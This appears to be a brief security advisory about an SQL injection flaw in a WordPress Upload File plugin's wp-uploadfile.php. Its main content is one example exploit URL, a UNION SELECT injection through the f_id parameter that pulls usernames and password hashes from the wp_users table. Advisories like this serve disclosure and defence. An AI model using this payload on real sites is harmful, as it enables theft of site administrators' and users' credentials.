• info
• discussion
• exploit
• solution
• references

WordPress Upload File Plugin 'wp-uploadfile.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example exploit is available:

http://www.example.com/wp-uploadfile.php?f_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*